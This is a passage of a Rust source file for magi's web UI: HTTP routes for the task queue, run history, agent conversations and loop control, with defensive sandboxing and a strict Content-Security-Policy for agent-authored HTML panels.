Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying no tokens: no `allow-scripts`, no
52//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
53//! reach the parent document, the cookie jar or `localStorage`. On top of that
54//! both routes send [`PANEL_CSP`], which denies every network destination, so a
55//! panel cannot phone home through a remote image or a beacon either - the two
56//! things it may load, images and inline CSS, are the two things free
57//! formatting actually needs. Assets come from the question's own directory and
58//! never from the network, and their content types come from a closed
59//! whitelist, so an agent cannot get markup rendered outside the frame by
60//! naming a file `.html`.
61//!
62//! # A conversation turn is not a filesystem read
63//!
64//! Every other route here is disk work, which is why [`blocking`] exists.
65//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
66//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
67//! and no executor thread, and concurrent turns on one talk are refused rather
68//! than queued - see [`Ui::begin_talk_turn`].
69//!
70//! # The loop runs here
71//!
72//! `magi web` runs the queue loop in this process, started and stopped from
73//! `/api/loop`. That is the point of the whole surface: a task filed from a
74//! phone with nobody around to type `magi serve` is a task that sits in the
75//! queue until someone walks back to the machine.
76//!
77//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
78//! is no pid file of this module's own and nothing to supervise - a child
79//! would need reaping, a second copy of the daemon's retry policy, and a
80//! story for what happens when `magi web` dies with the loop still running.
81//! `<home>/daemon.json`, which the loop itself writes, stays the only
82//! cross-process signal, and it is how this process notices that the
83//! operator's own `magi serve` already owns the loop and refuses to start a
84//! second one that would fight it for claims.
85//!
86//! Stopping is cooperative and therefore not instant. A run in flight is
87//! finished first, for the reason [`daemon::serve`] gives: killing the graph
88//! mid-node leaves worktrees, branches and agent sessions behind and throws
89//! away every agent call already paid for. `POST /api/loop` sets the flag and
90//! answers immediately rather than waiting, because the wait is measured in
91//! tens of minutes and the operator is holding a phone.
92
93use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post, put};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::agent;
118use crate::ask::{self, Answer, Question, Questions};
119use crate::config::{AgentKind, Config, Update, UpdateMode};
120use crate::md;
121use crate::notices::{Notice, Notices};
122use crate::proc::Quiet as _;
123use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
124use crate::run::{RunState, RunStatus};
125use crate::talk::{Talk, Talks};
126use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
127
128/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
129pub const DEFAULT_PORT: u16 = 7878;
130
131/// How often the change stream restats the queue and the runs directory.
132const POLL: Duration = Duration::from_secs(1);
133
134/// Keep-alive interval for the change stream. Phones and intermediaries drop
135/// an idle connection within a minute; a comment every fifteen seconds keeps
136/// the stream alive without waking the radio often enough to matter.
137const KEEPALIVE: Duration = Duration::from_secs(15);
138
139/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
140///
141/// A fixed period this long would not track a `[update] interval` shorter
142/// than itself: an operator who set `interval = "1m"` to make the deck
143/// notice a release within a minute would still wait up to fifteen of them
144/// for the next wake-up to even ask [`updater::Checker::should_check`].
145/// [`recheck_poll_period`] scales the sleep with the configured interval
146/// instead, and this is only its ceiling - reached at the default interval
147/// of a day, where waking any more often would just spend cycles asking a
148/// question that stays "no" for hours.
149const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
150
151/// Floor on the same, so a very short `[update] interval` cannot spin
152/// [`run_update_recheck`] in a near-busy loop.
153const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
154
155/// Runs returned when the client does not ask, and the ceiling if it asks for
156/// more. The cap exists because the list handler parses every `run.json` it
157/// returns, and a phone cannot render two thousand rows anyway.
158const LIST_DEFAULT: usize = 50;
159/// Upper bound for `?limit=`.
160const LIST_MAX: usize = 500;
161
162/// Width of a generated task title, matching what the CLI uses.
163const TITLE_MAX: usize = 72;
164
165/// Per-file cap for an attachment upload.
166///
167/// Enforced twice: axum's own body limit is raised one byte above this, only
168/// on the two attachment `POST` routes (see the router - every other route
169/// keeps the crate-wide default), so an oversize body is still read far
170/// enough to answer with our own message below rather than axum's generic
171/// one; this constant is what that message and the boundary check actually
172/// compare against.
173const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
174
175/// The image types an attachment upload accepts - a closed whitelist, the
176/// same posture [`asset_content_type`] takes for panel assets and for the
177/// same reason: SVG is excluded on purpose because it is active content
178/// (it may carry `<script>`) and not merely a picture, so it never appears
179/// here even though `image/svg+xml` is a real IANA type.
180const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
181
182/// Header carrying the operator's own filename. Free text, stored only for
183/// display - see [`talk::Attachment::name`]'s doc on why it never
184/// contributes to a path.
185const FILENAME_HEADER: &str = "x-filename";
186
187/// The header that makes serving agent-authored HTML defensible, sent by both
188/// panel routes and asserted verbatim by a test.
189///
190/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
191/// denies every fetch destination that is not re-allowed below, which is all of
192/// them except images and fonts; `img-src 'self' data:` means an image comes
193/// from magi's own asset route or from the document itself, so a panel cannot
194/// signal an outside server by pointing an `<img>` at it - the classic
195/// exfiltration channel for markup that cannot run script. `style-src
196/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
197/// free formatting means here and a style sheet cannot make a request that
198/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
199/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
200/// stops a form posting the owner's decision to a third party, and
201/// `frame-ancestors 'self'` stops another site framing the panel to phish with
202/// it.
203///
204/// There is deliberately no `script-src`: `default-src 'none'` already covers
205/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
206/// denied twice over. Weakening any directive here is the difference between a
207/// panel the owner reads and a page that can talk to the tailnet, which is why
208/// the test compares the whole string rather than looking for a substring.
209const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
210                         font-src data:; base-uri 'none'; form-action 'none'; \
211                         frame-ancestors 'self'";
212
213const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
214const APP_CSS: &str = include_str!("../assets/ui/app.css");
215const APP_JS: &str = include_str!("../assets/ui/app.js");
216
217/// Which address to listen on.
218#[derive(Debug, Clone, Copy, PartialEq, Eq)]
219pub enum Bind {
220    /// Ask Tailscale, and fall back to loopback with a warning.
221    Auto,
222    /// An address the operator named.
223    Addr(IpAddr),
224}
225
226impl std::str::FromStr for Bind {
227    type Err = String;
228
229    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
230    /// the CLI can take `--bind` straight into it: the one spelling of
231    /// `auto` that matters is the one this function knows.
232    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
233        if s.eq_ignore_ascii_case("auto") {
234            return Ok(Self::Auto);
235        }
236        s.parse()
237            .map(Self::Addr)
238            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
239    }
240}
241
242impl std::fmt::Display for Bind {
243    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
244        match self {
245            Self::Auto => f.write_str("auto"),
246            Self::Addr(addr) => write!(f, "{addr}"),
247        }
248    }
249}
250
251/// How to serve.
252#[derive(Debug, Clone)]
253pub struct Opts {
254    /// Address to listen on.
255    pub bind: Bind,
256    /// Port to listen on.
257    pub port: u16,
258    /// Repository used for tasks posted without one.
259    pub repo: PathBuf,
260    /// Print the URL on its own line for a caller that wants to hand it to a
261    /// browser. magi never launches one itself.
262    pub open: bool,
263    /// Merge mode override for the loop this process runs (`none`, `local`,
264    /// `pr`); `None` leaves it to each repository's own config.
265    ///
266    /// The same override `magi serve --merge` takes, and here for the same
267    /// reason: `magi web` is now the thing that runs the loop, so an operator
268    /// who wants this session's runs to open pull requests has to be able to
269    /// say so without going back to the command they no longer type.
270    pub merge: Option<String>,
271}
272
273impl Default for Opts {
274    fn default() -> Self {
275        Self {
276            bind: Bind::Auto,
277            port: DEFAULT_PORT,
278            repo: PathBuf::from("."),
279            open: false,
280            merge: None,
281        }
282    }
283}
284
285/// Everything the handlers touch.
286///
287/// The queue, the runs directory and the magi home are fields rather than
288/// process-global lookups so a test drives the real router against a temp
289/// directory instead of the operator's own history.
290#[derive(Debug, Clone)]
291pub struct Ui {
292    queue: Queue,
293    questions: Questions,
294    /// `<home>/notifications`, the bell's own store. Derived from `home` in
295    /// [`Ui::new`] so no constructor signature had to grow.
296    notices: Notices,
297    talks: Talks,
298    runs: PathBuf,
299    home: PathBuf,
300    repo: PathBuf,
301    /// Where the runs' worktrees live, for the health disk figures.
302    ///
303    /// Spelled independently of [`crate::run::default_worktree_root`] so the
304    /// test servers can point it at their own temp directory: the health route
305    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
306    /// be measuring the machine instead of the server.
307    worktrees_root: PathBuf,
308    /// Talks with an agent turn in flight right now.
309    ///
310    /// In-process and therefore not durable, which is correct: it guards
311    /// against two taps on one phone and two phones on one tailnet, both of
312    /// which are this process's own concurrency. A second `magi web` would not
313    /// see it, and a second `magi web` on the same home is already a
314    /// misconfiguration the queue's claims would catch first.
315    talk_turns: Arc<Mutex<TalkTurns>>,
316    /// Runs this process is resuming right now.
317    ///
318    /// Separate from `talk_turns` because a run and a talk are different
319    /// things to hold, and a resume is far more expensive to start twice: it
320    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
321    /// guards two taps and two phones, which is this process's own
322    /// concurrency.
323    resuming: Arc<Mutex<HashSet<String>>>,
324    /// The last scan of `[repos] roots`, and when it happened. Shared across
325    /// requests so polling `GET /api/repos` repeatedly does not repeat the
326    /// filesystem walk every time - see [`repos::Cache`].
327    repos_cache: repos::Cache,
328    /// The machine-config file the settings screen reads and writes: always
329    /// [`Config::machine_layer`], never anything a request names. A field so a
330    /// test can point it at its own temp directory instead of the operator's.
331    machine_config: Option<PathBuf>,
332    /// Merge mode override handed to the loop this process starts.
333    merge: Option<String>,
334    /// The loop this process is running, if it is running one.
335    looping: Arc<Mutex<LoopState>>,
336    /// How a loop is actually started.
337    ///
338    /// A field rather than a direct call to [`daemon::serve_until`], because
339    /// the real loop resolves its queue and its status file through the
340    /// process-global magi home and claims whatever it finds there. A test
341    /// that started it would reach straight past its own temp directory into
342    /// the operator's live queue, overwrite the status file of the `magi
343    /// serve` that owns it, and spend real agent quota on a real competition.
344    /// What the routes have to get right is the bookkeeping, so the tests
345    /// drive the routes against a loop that only starts and stops; production
346    /// is [`launch_daemon`] and nothing reassigns it.
347    launch: Launch,
348    /// A test-only stop point inside `talk_say`'s busy branch. See
349    /// [`BusyQueueGate`].
350    #[cfg(test)]
351    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
352}
353
354/// A one-shot stop point the busy branch's queued-draft write can be made to
355/// pause at, right before [`talk::queue`] runs.
356///
357/// Exists because a test cannot otherwise pin *when*, relative to the turn
358/// slot being freed, that write happens: `blocking` runs it on
359/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
360/// already finished, so counting polls on the handler future to park it at a
361/// particular `.await` is a guess about scheduling, not a fact about it - see
362/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
363/// used to do exactly that and paid for it with an occasional "async fn
364/// resumed after completion" panic under load.
365///
366/// `reached` fires the instant the write is about to run, so a test waits for
367/// a real event instead of a poll count. `release` then blocks the write
368/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
369/// rather than an async channel because this all happens inside the
370/// `spawn_blocking` closure the write already runs on, off any runtime
371/// worker, so blocking here costs nothing the write was not already going to
372/// cost.
373#[cfg(test)]
374struct BusyQueueGate {
375    reached: tokio::sync::oneshot::Sender<()>,
376    release: std::sync::mpsc::Receiver<()>,
377}
378
379#[cfg(test)]
380impl std::fmt::Debug for BusyQueueGate {
381    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
382        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
383    }
384}
385
386impl Ui {
387    /// A server over explicit paths.
388    pub fn new(
389        queue: Queue,
390        questions: Questions,
391        talks: Talks,
392        runs: PathBuf,
393        home: PathBuf,
394        repo: PathBuf,
395    ) -> Self {
396        Self {
397            queue,
398            questions,
399            notices: Notices::at(home.join("notifications")),
400            talks,
401            runs,
402            home,
403            repo,
404            // The default location, overridden by `with_worktrees_root` - a
405            // builder step rather than a ninth parameter, for the reason
406            // `with_merge` gives.
407            worktrees_root: run::default_worktree_root(),
408            talk_turns: Arc::default(),
409            resuming: Arc::default(),
410            repos_cache: repos::Cache::new(),
411            machine_config: Config::machine_layer(),
412            merge: None,
413            looping: Arc::default(),
414            launch: launch_daemon,
415            #[cfg(test)]
416            busy_queue_gate: Arc::default(),
417        }
418    }
419
420    /// The operator's own state: `<home>/queue`, `<home>/questions`,
421    /// `<home>/talks`, `<home>/runs`.
422    pub fn open(repo: PathBuf) -> Self {
423        Self::new(
424            Queue::open(),
425            Questions::open(),
426            Talks::open(),
427            run::runs_root(),
428            run::home(),
429            repo,
430        )
431    }
432
433    /// The merge mode the loop should use, as the command line gave it.
434    ///
435    /// A builder step rather than a seventh parameter on [`Ui::new`], because
436    /// the override is a property of how this process was invoked and not of
437    /// where its state lives - which is all the tests that build a `Ui` by
438    /// hand are saying.
439    #[must_use]
440    pub fn with_merge(mut self, merge: Option<String>) -> Self {
441        self.merge = merge;
442        self
443    }
444
445    /// The machine-config file the settings screen writes, when it is not
446    /// [`Config::machine_layer`] (tests).
447    #[cfg(test)]
448    #[must_use]
449    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
450        self.machine_config = path;
451        self
452    }
453
454    /// Where the runs' worktrees live, when it is not the default.
455    ///
456    /// The health view sizes this directory, so a test that leaves it at the
457    /// default would be measuring the operator's own machine.
458    #[must_use]
459    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
460        self.worktrees_root = root;
461        self
462    }
463
464    /// Point the loop at something other than [`launch_daemon`].
465    ///
466    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
467    /// this crate may start the real loop.
468    #[cfg(test)]
469    #[must_use]
470    fn with_launch(mut self, launch: Launch) -> Self {
471        self.launch = launch;
472        self
473    }
474
475    /// Install a [`BusyQueueGate`] for the next pass through the busy
476    /// branch's queued-draft write, replacing any earlier one.
477    ///
478    /// A setter on `&self` rather than a `with_*` builder consumed once,
479    /// because a test that drives the busy branch more than once (as
480    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
481    /// to build confidence the interleaving is handled deterministically and
482    /// not just on a lucky run) needs a fresh channel pair each time, on the
483    /// one `Ui` it already built its temp directories around.
484    #[cfg(test)]
485    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
486        *self
487            .busy_queue_gate
488            .lock()
489            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
490    }
491
492    /// The loop's state, for [`serve`]'s own way out.
493    fn looping(&self) -> Arc<Mutex<LoopState>> {
494        Arc::clone(&self.looping)
495    }
496
497    /// Start the loop in this process, or say who already has one.
498    ///
499    /// `foreign` is passed in rather than read here so that one request makes
500    /// one judgement about who owns the loop: reading the status file again
501    /// inside this function could refuse a start for a daemon the same
502    /// response then reports as gone.
503    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
504        if let Some(other) = foreign {
505            return Err(ApiError::conflict(format!(
506                "{} is already running the loop, so this one will not start a \
507                 second: two loops on one queue race for the same claims and \
508                 burn the agent quota twice over. Stop it where it was \
509                 started.",
510                other.who()
511            )));
512        }
513        let mut state = self.lock_loop();
514        if state.live.as_ref().is_some_and(Live::alive) {
515            return Err(ApiError::conflict(format!(
516                "this magi web process (pid {}) is already running the loop",
517                std::process::id()
518            )));
519        }
520
521        let stop = daemon::Stop::new();
522        // The CLI's own defaults for everything the UI has no opinion about:
523        // one poll interval and one retry budget, so a loop started from a
524        // phone behaves exactly like the `magi serve` it replaces.
525        let opts = daemon::Opts {
526            repo: self.repo.clone(),
527            merge: self.merge.clone(),
528            // Whatever this `Ui` already reports worktree sizes and folds
529            // against (see `with_worktrees_root`) is what the loop it starts
530            // must reclaim orphaned worktrees under too - two different
531            // opinions about where the worktree bay is would leave the
532            // janitor pass reclaiming a directory nothing else on this
533            // process is even looking at.
534            worktrees_root: Some(self.worktrees_root.clone()),
535            ..daemon::Opts::default()
536        };
537        let launch = self.launch;
538        let looping = Arc::clone(&self.looping);
539        let handle = tokio::spawn({
540            let opts = opts.clone();
541            let stop = stop.clone();
542            async move {
543                let failure = match launch(opts, stop).await {
544                    Ok(()) => None,
545                    Err(e) => Some(format!("{e:#}")),
546                };
547                match &failure {
548                    Some(why) => tracing::error!("the loop stopped: {why}"),
549                    None => tracing::info!("the loop stopped"),
550                }
551                // Recorded by the task itself rather than reaped by whichever
552                // request happens next, so `loop_rev` moves the moment the
553                // loop ends and a phone with the change stream open learns
554                // that it did. Clearing `live` drops this task's own handle,
555                // which only detaches it, and is the last thing it does.
556                let mut state = lock_or_recover(&looping);
557                state.live = None;
558                state.last_error = failure;
559                state.rev += 1;
560            }
561        });
562        tracing::info!(
563            "the loop is now running in this process: repo {}, merge {}",
564            opts.repo.display(),
565            opts.merge.as_deref().unwrap_or("as the config says")
566        );
567        state.live = Some(Live { stop, handle, opts });
568        // A fresh start is not the place to keep showing why the last one
569        // died; the operator has read it and pressed the button anyway.
570        state.last_error = None;
571        state.rev += 1;
572        Ok(())
573    }
574
575    /// Ask the loop to stop, without waiting for it to get there.
576    ///
577    /// Idempotent: a second tap on stop is not an error, because the first one
578    /// leaves the loop running for as long as the run in flight takes and the
579    /// operator has no way to tell a slow stop from a lost one.
580    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
581        if let Some(other) = foreign {
582            return Err(ApiError::conflict(format!(
583                "the loop belongs to {}, and this process cannot stop it - \
584                 stop it where it was started. A button that silently did \
585                 nothing would be worse than this refusal.",
586                other.who()
587            )));
588        }
589        let mut state = self.lock_loop();
590        // An operator who stops the loop has decided it stays stopped, even
591        // across an upgrade that was already in flight.
592        if !park {
593            state.resume_after_handover = false;
594        }
595        let Some(live) = state.live.as_ref() else {
596            return Ok(());
597        };
598        // A park upgrades a stop that has already been asked for: the
599        // operator who tapped "stop" and then realised the run has an hour
600        // left must not have to restart the loop to change their mind.
601        if live.stop.stopped() && (!park || live.stop.parking()) {
602            return Ok(());
603        }
604        if park {
605            live.stop.park();
606            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
607        } else {
608            live.stop.stop();
609            tracing::info!("the loop was asked to stop; a run in flight is finished first");
610        }
611        state.rev += 1;
612        Ok(())
613    }
614
615    /// The loop as both `/api/loop` and `/api/health` report it.
616    ///
617    /// `reading` is the caller's single read of `<home>/daemon.json`, because
618    /// health answers with this view *and* the daemon object beside it: one
619    /// read per response is what stops a single answer naming a foreign owner
620    /// in one field and calling the loop free in the other.
621    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
622        let state = self.lock_loop();
623        // A loop that panicked never recorded its own end, so the handle -
624        // not the presence of the record - is what "running" means.
625        let live = state.live.as_ref().filter(|live| live.alive());
626        LoopView {
627            running: live.is_some(),
628            stopping: live.is_some_and(|live| live.stop.finishing()),
629            parking: live.is_some_and(|live| live.stop.parking()),
630            owned: live.is_some(),
631            repo: live
632                .map_or(&self.repo, |live| &live.opts.repo)
633                .display()
634                .to_string(),
635            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
636            last_error: state.last_error.clone(),
637            daemon: DaemonView::of(reading),
638        }
639    }
640
641    /// Start the loop in a successor whose predecessor was running one.
642    ///
643    /// Goes through the same path as the UI's start-loop action. A refusal
644    /// (another process owns the loop) is logged and left in `last_error`;
645    /// the loop then simply stays stopped.
646    fn resume_after_handover(&self, resume: bool) -> bool {
647        if !resume {
648            return false;
649        }
650        let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
651        match self.start_loop(foreign) {
652            Ok(()) => true,
653            Err(e) => {
654                let why = format!(
655                    "the loop could not be resumed after the upgrade: {}",
656                    e.message
657                );
658                tracing::warn!("{why}");
659                let mut state = self.lock_loop();
660                state.last_error = Some(why);
661                state.rev += 1;
662                false
663            }
664        }
665    }
666
667    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
668    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
669        lock_or_recover(&self.looping)
670    }
671
672    /// Whether this process currently owns the agent turn for `id`.
673    ///
674    /// This deliberately describes only the in-memory claim made by
675    /// [`Ui::begin_talk_turn`]. It is not conversation data and therefore is
676    /// never persisted with a [`Talk`].
677    fn is_thinking(&self, id: &str) -> bool {
678        self.talk_turns
679            .lock()
680            .is_ok_and(|turns| turns.live.contains(id))
681    }
682
683    /// Claim the right to run one turn in a talk, or report that it is busy.
684    ///
685    /// A talk is strictly turn-based: the agent is resumed with the
686    /// conversation it already has, so two turns running at once would resume
687    /// the same session twice and append their answers in whatever order the
688    /// two CLIs finished in. The operator would come back to a transcript
689    /// with two half-turns interleaved, which is unreadable and, worse,
690    /// unfixable - there is no undo for a persisted turn.
691    ///
692    /// A busy result is queued as a durable draft by [`talk_say`], rather than
693    /// starting a second CLI invocation for the same session.
694    ///
695    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
696    /// taken to test-and-insert and released before the agent is spawned. The
697    /// returned guard removes the id on drop, which is what makes a panicking
698    /// handler or a phone that walks out of range leave the talk usable - axum
699    /// drops the handler future when the client disconnects, and without the
700    /// guard that talk would be wedged until the server restarted.
701    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
702        self.claim_talk_turn(id, false)
703    }
704
705    /// Claim a turn after durably queueing a draft, or notify its current
706    /// owner that a drainer must recheck before it releases the slot.
707    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
708        self.claim_talk_turn(id, true)
709    }
710
711    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
712        let mut live = self
713            .talk_turns
714            .lock()
715            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
716        if !live.live.insert(id.to_owned()) {
717            if queued {
718                // A queued write has landed before this busy check.
719                // `drain_loop` uses this generation to recheck after its
720                // off-thread disk read, so it cannot release a turn between
721                // this check and the write.
722                *live.queued.entry(id.to_owned()).or_default() += 1;
723            }
724            return Ok(None);
725        }
726        Ok(Some(TalkTurnGuard {
727            talk: id.to_owned(),
728            turns: Arc::clone(&self.talk_turns),
729            released: false,
730        }))
731    }
732
733    /// Decide whether a free talk may start a new immediate turn while its
734    /// claim lock is held. A persisted draft without an owner is recovery
735    /// state, not a busy turn: two simultaneous `/say` requests must both
736    /// leave it untouched rather than one of them appending to it.
737    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
738        let mut live = self
739            .talk_turns
740            .lock()
741            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
742        if live.live.contains(id) {
743            return Ok(TalkTurnStart::Busy);
744        }
745        let talk = self.talks.get(id).map_err(ApiError::from)?;
746        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
747            return Ok(TalkTurnStart::Pending);
748        }
749        live.live.insert(id.to_owned());
750        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
751            talk: id.to_owned(),
752            turns: Arc::clone(&self.talk_turns),
753            released: false,
754        }))
755    }
756
757    /// Park the loop for an upgrade, and report the run that is parking.
758    ///
759    /// A park rather than a stop: a stop waits out the whole competition, and
760    /// not waiting is the point of upgrading from a phone. `None` means
761    /// nothing was in flight, which is worth saying so the operator is not
762    /// told a run is parking when none is.
763    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
764        let parking = {
765            let mut state = self.lock_loop();
766            // Decided here, before the park: by the time the handover fires
767            // an idle loop has already seen the park and ended, so `live`
768            // would read as "was never running". A loop the operator had
769            // already stopped stays stopped.
770            //
771            // Sticky: a second upgrade request finds the loop already
772            // stopping because of the first one's park, and must not read
773            // that as the operator having stopped it. Only an explicit stop
774            // or a failed update clears an earlier intent.
775            let resume = state.resume_after_handover
776                || state
777                    .live
778                    .as_ref()
779                    .is_some_and(|live| live.alive() && !live.stop.stopped());
780            state.resume_after_handover = resume;
781            let Some(live) = state.live.as_ref() else {
782                return Ok(None);
783            };
784            let busy = live.stop.busy_now();
785            live.stop.park();
786            state.rev += 1;
787            busy
788        };
789        Ok(if parking {
790            // More than one run can be in flight now (see
791            // `Config::daemon.max_concurrent_runs`); this answer names one of
792            // them so the operator sees a park actually happened, not every
793            // run a park now asks to stop at its next boundary.
794            daemon::current_work(&self.home, jiff::Timestamp::now())
795                .into_iter()
796                .next()
797                .map(|c| c.run)
798        } else {
799            None
800        })
801    }
802
803    /// Claim a run for a resume, on the same reasoning as
804    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
805    /// disconnected phone does not wedge the run until the server restarts.
806    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
807        let mut live = self
808            .resuming
809            .lock()
810            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
811        if !live.insert(id.to_owned()) {
812            return Err(ApiError::conflict(format!(
813                "run {id} is already being resumed"
814            )));
815        }
816        Ok(ResumeGuard {
817            run: id.to_owned(),
818            resuming: Arc::clone(&self.resuming),
819        })
820    }
821
822    /// The router, with this state baked in.
823    ///
824    /// The three front-end files get one explicit route each rather than a
825    /// path parameter, so there is no traversal surface to get wrong: the set
826    /// of servable paths is the set written here. The asset route below is the
827    /// one exception and the only place in this server where a client names a
828    /// file; it is why [`valid_asset_name`] is checked before a path is built.
829    pub fn router(self) -> Router {
830        Router::new()
831            .route("/", get(index))
832            .route("/app.css", get(app_css))
833            .route("/app.js", get(app_js))
834            .route("/api/health", get(health))
835            .route("/api/loop", get(loop_get).post(loop_post))
836            .route("/api/upgrade", post(upgrade_post))
837            .route("/api/runs", get(runs_list))
838            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
839            .route("/api/runs/{id}/report", get(run_report))
840            .route("/api/runs/{id}/fold", post(run_fold))
841            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
842            .route("/api/runs/{id}/resume", post(run_resume))
843            .route("/api/queue", get(queue_list))
844            .route("/api/search", get(search_get))
845            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
846            .route("/api/stats", get(stats_get))
847            .route("/api/repos", get(repos_list))
848            .route("/api/settings", get(settings_get))
849            .route("/api/settings/roles", put(settings_put_roles))
850            .route("/api/queue/{id}/hold", post(queue_hold))
851            .route("/api/queue/{id}/release", post(queue_release))
852            .route("/api/queue/{id}/priority", post(queue_priority))
853            .route("/api/queue/{id}/edit", post(queue_edit))
854            .route("/api/queue/{id}/done", post(queue_done))
855            .route("/api/questions", get(questions_list))
856            .route("/api/questions/{id}/answer", post(question_answer))
857            .route("/api/questions/{id}/say", post(question_say))
858            .route("/api/questions/{id}/panel", get(question_panel))
859            // The same asset, reachable from inside the panel by its bare
860            // filename. A document served at `.../panel` resolves `shot.png`
861            // to `.../shot.png`, which is not the asset route, so a panel
862            // written the way its author was told to write it showed broken
863            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
